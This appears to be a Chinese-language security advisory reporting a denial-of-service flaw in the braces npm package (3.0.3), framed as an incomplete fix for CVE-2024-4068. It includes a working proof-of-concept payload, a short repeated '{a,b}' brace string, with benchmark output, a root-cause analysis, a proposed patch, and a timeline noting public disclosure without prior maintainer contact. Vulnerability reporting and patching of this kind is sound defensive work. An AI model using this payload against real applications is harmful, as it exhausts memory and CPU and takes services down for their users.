包: braces(npm) 版本: 3.0.3(最新) 严重性: 高危(CVSS 7.5) CWE: CWE-400 不受控制的资源消耗 状态: 未报告
注意: 这是一项独立发现。CVE-2024-4068 解决了输入长度限制(MAX_LENGTH=10000)问题,但并未修复逗号分隔大括号模式导致的组合输出爆炸。CVE-2026-45149 影响的是另一个包(
juliangruber/brace-expansion),而非micromatch/braces。
braces 库在处理逗号分隔的大括号展开模式时,会因不受控制的资源消耗而遭受拒绝服务攻击。
仅 110 个字符的恶意输入就会导致该库在内存中生成 420 万个条目,消耗 1.2GB+ 内存,并阻塞 CPU 达 9-30 秒(视硬件而定)。
这是对 CVE-2024-4068 的不完整修复。原始补丁将输入长度限制为 10,000 个字符,但并未限制逗号分隔展开的组合输出。
braces 是 micromatch 的依赖项,而 micromatch 被以下工具使用:
任何将用户可控输入传递给 braces.expand() 的应用程序都会受到影响。
在 lib/expand.js 中,rangeLimit 保护仅检查数值范围({1..1000}),而不检查逗号分隔的模式({a,b}):
// lib/expand.js:57
if (node.ranges > 0) { // only numeric ranges are checked
if (utils.exceedsLimit(...args, options.step, rangeLimit)) {
throw new RangeError('...');
}
}
// Comma-separated expansions skip this check entirely
append() 函数会递归地将所有 2^N 种组合构建到一个数组中,且没有任何输出限制。
mkdir braces-test && cd braces-test
npm init -y && npm install [email protected]
node -e "
const braces = require('braces');
const input = '{a,b}'.repeat(22);
console.time('expand');
const result = braces.expand(input);
console.timeEnd('expand');
console.log('Items:', result.length.toLocaleString());
"
# Install dependency first
npm install [email protected]
python3 poc_braces_dos.py
条目数量是确定性的。耗时和内存因硬件而异。
======================================================================
PoC: braces 3.0.3 Denial of Service
CVE-CANDIDATE: CVE-2024-4068 incomplete fix
======================================================================
[*] Finding DoS threshold...
n=10: input= 50 chars -> 1,024 items, 4,096 chars, 11ms, +912KB
n=15: input= 75 chars -> 32,768 items, 163,840 chars, 96ms, +15915KB
n=18: input= 90 chars -> 262,144 items, 1,310,720 chars, 737ms, +115535KB
n=20: input= 100 chars -> 1,048,576 items, 5,242,880 chars, 1833ms, +242558KB
n=22: input= 110 chars -> 4,194,304 items, 20,971,520 chars, 9723ms, +1196410KB
n=25: TIMEOUT/OOM
[*] Conclusion:
- Input size: 110 characters (well within the 10,000 character limit)
- Memory consumption: >1.2GB
- CPU block time: ~10 seconds
braces.expand(input)
-> lib/expand.js:walk()
-> lib/expand.js:append() <- no output limit
-> recursively builds all 2^N combinations
-> returns massive array
在 lib/expand.js 的每个拼接步骤中添加限制检查,以防止组合爆炸。在 walk() 内部将 append 调用包装到一个验证辅助函数中:
const queueLimit = (queue, stash, enclose) => {
if (rangeLimit === Infinity) return append(queue, stash, enclose);
const queueLength = queue ? [].concat(queue).length : 0;
const stashLength = [].concat(stash).length;
const nextLength = queueLength === 0 ? stashLength : (stashLength === 0 ? queueLength : queueLength * stashLength);
if (nextLength > rangeLimit) {
throw new RangeError('expanded array length exceeds range limit. Use options.rangeLimit to increase or disable the limit.');
}
return append(queue, stash, enclose);
};
将 walk() 内部对 append() 的调用替换为 queueLimit(),可确保连续大括号和范围的组合得到安全限制。
| 日期 | 事件 |
|---|---|
| 2026-07-17 | 发现漏洞 |
| 2026-07-21 | 公开披露(尚未启动负责任披露流程) |
由 cyeezy08 发现。
| 输入(字符数) | 输出条目数 | 耗时(约) | 内存(约) |
|---|
| 50 | 1,024 | ~10ms | ~1MB |
| 75 | 32,768 | ~100ms | ~16MB |
| 90 | 262,144 | ~700ms | ~116MB |
| 100 | 1,048,576 | ~2-4s | ~243-468MB |
| 110 | 4,194,304 | ~10-30s | ~1.2GB+ |
| 125+ | 崩溃/OOM | 超时 | OOM 终止 |
| 文件 | 描述 |
|---|
poc_braces_dos.py | 可运行的 PoC 脚本 |
findings.md | 详细的漏洞分析 |
verdict.md | 确认与 CVSS 评分 |
disclosure-report.md | 可提交的安全公告 |
patch.diff | 针对 lib/expand.js 的建议修复补丁 |
email-draft.txt | 致维护者的邮件草稿 |